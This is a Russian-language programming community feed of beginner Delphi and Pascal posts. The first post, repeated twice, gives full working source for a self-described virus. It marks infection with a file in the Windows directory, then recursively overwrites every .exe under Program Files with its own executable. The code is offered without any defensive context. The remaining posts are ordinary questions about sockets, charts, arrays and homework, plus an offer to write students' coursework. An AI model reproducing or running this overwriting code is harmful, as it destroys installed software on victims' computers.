Вирус
Всем привет. Я начинающий программист, так что строго не судите. Писал я тут маломальскую программу на Delphi, и чтото щолкнуло в голове захотелось попробовать написать простинький вирус.
Написал:
program Yerihon;
{$APPTYPE CONSOLE}
uses
Windows,
SysUtils,
Classes,
Forms,
Dialogs;
var
Windir: string;
WindirP: PChar;
Res: Cardinal;
Program_Files : string;
Procedure Find(var S : TStringList);
var
cDir : string;
SearchRec: TSearchRec; // информация о файле или каталоге
begin
GetDir(0,cDir); // получить имя текущего каталога
if cDir[length(cDir)] <> '\' then cDir := cDir+'\';
if FindFirst('*.exe', faArchive,SearchRec) = 0 then
repeat
if (SearchRec.Attr and faAnyFile) = SearchRec.Attr then
begin
S.Add(cDir + SearchRec.Name);
end;
until FindNext(SearchRec) <> 0;
// обработка подкаталогов текущего каталога
if FindFirst('*', faDirectory, SearchRec) = 0 then
repeat
if (SearchRec.Attr and faDirectory) = SearchRec.Attr then
begin
if SearchRec.Name[1] <> '.' then
begin
ChDir(SearchRec.Name);// войти в каталог
Find(S); // выполнить поиск в подкаталоге
ChDir('..');// выйти из каталога
end;
end;
until FindNext(SearchRec) <> 0;
end;
var
S : TStringList;
i : integer;
f : TextFile;
begin
WinDirP := StrAlloc(MAX_PATH);
Res := GetWindowsDirectory(WinDirP, MAX_PATH);
if Res > 0 then WinDir := StrPas(WinDirP);
if FileExists(Windir + '\Goodwin.txt') then MessageDlg('Твоиму компу хана!', mtWarning, [mbOK], 0)
else
begin
AssignFile(f, Windir + '\Goodwin.txt');
Rewrite(f);
Write(f, 'Goodwin');
CloseFile(f);
Program_Files := Windir[1] + ':\Program Files';
S := TStringList.Create;
ChDir(Program_Files);
Find(S);
for i := 0 to S.Count - 1 do CopyFile(PChar(Application.ExeName), PChar(S.Strings[i]), false);
end;
end.
Вопрос:
Написанное можно хотябы назвать вирусом?
Написал:
program Yerihon;
{$APPTYPE CONSOLE}
uses
Windows,
SysUtils,
Classes,
Forms,
Dialogs;
var
Windir: string;
WindirP: PChar;
Res: Cardinal;
Program_Files : string;
Procedure Find(var S : TStringList);
var
cDir : string;
SearchRec: TSearchRec; // информация о файле или каталоге
begin
GetDir(0,cDir); // получить имя текущего каталога
if cDir[length(cDir)] <> '\' then cDir := cDir+'\';
if FindFirst('*.exe', faArchive,SearchRec) = 0 then
repeat
if (SearchRec.Attr and faAnyFile) = SearchRec.Attr then
begin
S.Add(cDir + SearchRec.Name);
end;
until FindNext(SearchRec) <> 0;
// обработка подкаталогов текущего каталога
if FindFirst('*', faDirectory, SearchRec) = 0 then
repeat
if (SearchRec.Attr and faDirectory) = SearchRec.Attr then
begin
if SearchRec.Name[1] <> '.' then
begin
ChDir(SearchRec.Name);// войти в каталог
Find(S); // выполнить поиск в подкаталоге
ChDir('..');// выйти из каталога
end;
end;
until FindNext(SearchRec) <> 0;
end;
var
S : TStringList;
i : integer;
f : TextFile;
begin
WinDirP := StrAlloc(MAX_PATH);
Res := GetWindowsDirectory(WinDirP, MAX_PATH);
if Res > 0 then WinDir := StrPas(WinDirP);
if FileExists(Windir + '\Goodwin.txt') then MessageDlg('Твоиму компу хана!', mtWarning, [mbOK], 0)
else
begin
AssignFile(f, Windir + '\Goodwin.txt');
Rewrite(f);
Write(f, 'Goodwin');
CloseFile(f);
Program_Files := Windir[1] + ':\Program Files';
S := TStringList.Create;
ChDir(Program_Files);
Find(S);
for i := 0 to S.Count - 1 do CopyFile(PChar(Application.ExeName), PChar(S.Strings[i]), false);
end;
end.
Вопрос:
Написанное можно хотябы назвать вирусом?
а вот такое по Паскалю знаете?
базы данных «Автопарк»
Марка автомобиля Модель Цвет Год выпуска Аварийность
Запросы:
- вывести сведения об автомобилях заданной марки, которые находятся не в аварийном состоянии;
- выведите элементы списка, у которых цвет начинается с одной из двух заданных букв;
- отсортируйте список автомобилей заданной модели по возрастанию года выпуска.
вот такое кто может сочинить?..а то ппц какой то а не база...
Марка автомобиля Модель Цвет Год выпуска Аварийность
Запросы:
- вывести сведения об автомобилях заданной марки, которые находятся не в аварийном состоянии;
- выведите элементы списка, у которых цвет начинается с одной из двух заданных букв;
- отсортируйте список автомобилей заданной модели по возрастанию года выпуска.
вот такое кто может сочинить?..а то ппц какой то а не база...
События
Доброго времени суток всем! У меня такой вопрос! Пишу вот такую програмку...
program Server;
uses
Windows,
ScktComp;
var
Msg:TMsg;
ServerSocket:TServerSocket;
begin
ServerSocket:=TServerSocket.Create(ServerSocket);
ServerSocket.Name:='Server';
ServerSocket.Port:=5124;
ServerSocket.Active:=true;
while GetMessage(Msg,0,0,0) do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end.
А теперь внимание вопрос! Как вызвать событие OnConnect????
program Server;
uses
Windows,
ScktComp;
var
Msg:TMsg;
ServerSocket:TServerSocket;
begin
ServerSocket:=TServerSocket.Create(ServerSocket);
ServerSocket.Name:='Server';
ServerSocket.Port:=5124;
ServerSocket.Active:=true;
while GetMessage(Msg,0,0,0) do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end.
А теперь внимание вопрос! Как вызвать событие OnConnect????
люди памагите
Хочу научиться программировать на ооп.Умею программировать на turbo pascal
могу помоч если надо.Желаю развиваться дальше звоните мне на скайп steff7772 или
на аську 567721517 Планирую в скайпе создать чат программистов
могу помоч если надо.Желаю развиваться дальше звоните мне на скайп steff7772 или
на аську 567721517 Планирую в скайпе создать чат программистов
Rinat Bashirov,
02-08-2009 13:39
(ссылка)
для death note!!!
Program all;
Var
a:integer;
begin
repeat
Writeln('PASTE NUMBER');
READLn(a)
until a<=50;
If (a>=0) and (a<=25) then begin
Writeln('1'); readln;
end;
If (a>=26) and (a<=50) then begin
Writeln('2'); readln;
end;
end.
Var
a:integer;
begin
repeat
Writeln('PASTE NUMBER');
READLn(a)
until a<=50;
If (a>=0) and (a<=25) then begin
Writeln('1'); readln;
end;
If (a>=26) and (a<=50) then begin
Writeln('2'); readln;
end;
end.
настроение: Безразличное
TP
Учусь юзать TP.
Подскажите, как сделать второе; аналогичное тело проги.
(пример)
Program prog;
label
M1;
var
a: byte;
begin
M1;
Writeln('Paste number:');
Readln(a);
if not (a in [0..50]) then goto M1;
case a of
0..25: Writeln('1');
26..50: Writeln('2');
end;
end.
Подскажите, как сделать второе; аналогичное тело проги.
(пример)
Program prog;
label
M1;
var
a: byte;
begin
M1;
Writeln('Paste number:');
Readln(a);
if not (a in [0..50]) then goto M1;
case a of
0..25: Writeln('1');
26..50: Writeln('2');
end;
end.
Владислав Скакалин,
18-06-2009 13:33
(ссылка)
Предлагаю позырить проги
Увлекаюсь программированием в Delphi, вот сделал несколько прог, предлагаю позырить, заценить:
http://www.vlad-skakalin.narod.ru/soft
Отзывы пишите прям тут.
Кстати, скажу про себя сразу одну вещь.
Я больше люблю программировать сам, а не по заданию.
На свободные темы (полёт фантазии), и без ограничений по времени (не спеша).
Давка же портит всякий интерес к работе.
И ещё. В процессе разработки проги, я пытаюсь отыскивать и устранять любые ошибки прям по мере их появления. Считаю, что лучше сделать программу менее функциональной, но без ошибок, чем напичканную как кучей разных функций, так и ещё большей кучей ошибок. Поэтому все мои проги вроде чётко работают. Впрочем, если кто-то найдёт недоработку, то мне это будет очень интересно. Пишите прям тут.
http://www.vlad-skakalin.narod.ru/soft
Отзывы пишите прям тут.
Кстати, скажу про себя сразу одну вещь.
Я больше люблю программировать сам, а не по заданию.
На свободные темы (полёт фантазии), и без ограничений по времени (не спеша).
Давка же портит всякий интерес к работе.
И ещё. В процессе разработки проги, я пытаюсь отыскивать и устранять любые ошибки прям по мере их появления. Считаю, что лучше сделать программу менее функциональной, но без ошибок, чем напичканную как кучей разных функций, так и ещё большей кучей ошибок. Поэтому все мои проги вроде чётко работают. Впрочем, если кто-то найдёт недоработку, то мне это будет очень интересно. Пишите прям тут.
настроение: Как выжатый лимон
хочется: Сам не знаю, чё хочу
слушаю: последний альбом КИНО
Александр Севч,
18-06-2009 13:24
(ссылка)
Обзвон
Привет! Как позвонить на домашний или мобильный телефон и проиграть
wav-файл средствами Делфи? Номера телефонов находятся в базе Dbase.
Поставлена задача по вечерам (когда все дома) запустить прогу с проигрыванием заранее записаного wav файла.В этом файле простое оповещение абонентов о их задолженности по оплате комунальных услуг.
wav-файл средствами Делфи? Номера телефонов находятся в базе Dbase.
Поставлена задача по вечерам (когда все дома) запустить прогу с проигрыванием заранее записаного wav файла.В этом файле простое оповещение абонентов о их задолженности по оплате комунальных услуг.
Приглашение в сообщество
Приглашаю в новое сообщество посвященное программирование. Сообщество было создано недавно и поэтому надеюсь на вашу помощь в его развитии
http://my.mail.ru/community/klub_programmist/
http://my.mail.ru/community/klub_programmist/
Графика в Delphi (постепенное построение графика )?
вопрос такой как в Delphi создать график который строился бы постепенно
что добавить что изменить ,компонент Chart
procedure TForm1.tmrGoTimer(Sender: TObject);
var
x,v,y: integer;
begin
case ComboBox2.ItemIndex of
0: v:=20;
1: v:=25;
2: v:=30;
else v:= 15;
end;
case ComboBox1.ItemIndex of
0: y:=200;
1: y:=300;
2: y:=400;
else y:=100;
end;
crtGraph.Series[0].Clear;
for x:=0 to dx do
crtGraph.Series[0].AddXY(x,0);
for x:=dx to 600 do
crtGraph.Series[0].AddXY(x,exp(-x/y)*sin((x-fi)/v));
fi := fi+trbFaza.Position;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
fi:=0;
end;
что добавить что изменить ,компонент Chart
procedure TForm1.tmrGoTimer(Sender: TObject);
var
x,v,y: integer;
begin
case ComboBox2.ItemIndex of
0: v:=20;
1: v:=25;
2: v:=30;
else v:= 15;
end;
case ComboBox1.ItemIndex of
0: y:=200;
1: y:=300;
2: y:=400;
else y:=100;
end;
crtGraph.Series[0].Clear;
for x:=0 to dx do
crtGraph.Series[0].AddXY(x,0);
for x:=dx to 600 do
crtGraph.Series[0].AddXY(x,exp(-x/y)*sin((x-fi)/v));
fi := fi+trbFaza.Position;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
fi:=0;
end;
помогите решить задачки если не сложно
- среди элементов массива А(10) найти наибольшее.
- найти наименьшее из положительных элементов массива А(10).
- найти наименьший положительный элемент среди элементов с четными номерами в массиве А(10).
- в массиве С(12) стоящего до наибольшего обнулить.
- в массиве С(9) все элементы стоящие после наименьшего обнулить.
- найти наименьшее среди элементов массива А(10) остальные обнулить.
- найти кол-во нулевых элементов в массиве В(12).
- даны 2 вектора А(10) и В(10) вычислить суммы и разности соотстветствующих элементов массивов. Результаты поместить в два вектора Х(10) и Y(10).
- в массиве С(13) определить кол-во элементов равных 13.
- вычислить среднее арифметическое положительных элементов массива Y(10), имеющие нечетные индексы. Если таких элементов нет, то вывести на экран признак «0».
- найти кол-во положительных чисел вещественного вектора Y(10).
- вычислить Z(j)=A(j)+B(j) где
B(j)=j если нечет и B(j)=j³ если j=чет
Массивы
Народ, помогите пожалуйста решить задачи и объясните, как сделать так, чтоб на экран выводились символы русской клавиатуры? Как использовать таблицу кодов ASCII?
1) Дано массив А, элементами которого явл. n-действительные числа. Вывести элементы, которые удовлетворяют условие 2^i
1) Дано массив А, элементами которого явл. n-действительные числа. Вывести элементы, которые удовлетворяют условие 2^i
Метки: массивы, циклические алгоритмы
Андрей Слепцов,
19-04-2008 03:27
(ссылка)
Потоки...
Как создать второй поток для Таймера? Если знаете подскажите... Спасибо..
настроение: Задумчивое
хочется: курить
слушаю: ХеХ...
Андрей Слепцов,
17-04-2008 04:57
(ссылка)
Вопрос для всех
Я вот набросал, так сказать, наброски программы Клавиатурный тренежер на Делфи... И думаю стоить ли его писать кагда вокруг их полным пално... а...???
Жду совета...
Жду совета...
настроение: Задумчивое
хочется: -
слушаю: -
Андрей Слепцов,
15-04-2008 06:11
(ссылка)
Курсовые проекты...
Хочу проверить свои навыки по программированию на Делфи...
Если вам задали курсовые проекты по Делфи то кидайте задания на odious86@mail.ru попробую сделать получиться вам на халяву курсовая работа а мне повышение самооценки...
Сделка выгодная пишите...
Если вам задали курсовые проекты по Делфи то кидайте задания на odious86@mail.ru попробую сделать получиться вам на халяву курсовая работа а мне повышение самооценки...
Сделка выгодная пишите...
настроение: Боевое
хочется: Кушать хочи целый день не кушал...
слушаю: Ничего я не слушаю колонки сгорели ;(
В этой группе, возможно, есть записи, доступные только её участникам.
Чтобы их читать, Вам нужно вступить в группу
Чтобы их читать, Вам нужно вступить в группу